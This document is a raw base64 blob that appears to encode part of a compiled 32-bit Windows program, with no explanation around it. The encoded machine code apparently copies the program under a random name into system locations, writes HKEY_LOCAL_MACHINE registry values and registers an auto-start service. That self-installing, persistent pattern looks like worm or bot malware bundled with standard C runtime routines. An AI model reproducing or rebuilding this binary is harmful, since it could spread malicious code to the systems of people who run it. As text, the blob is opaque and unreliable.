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 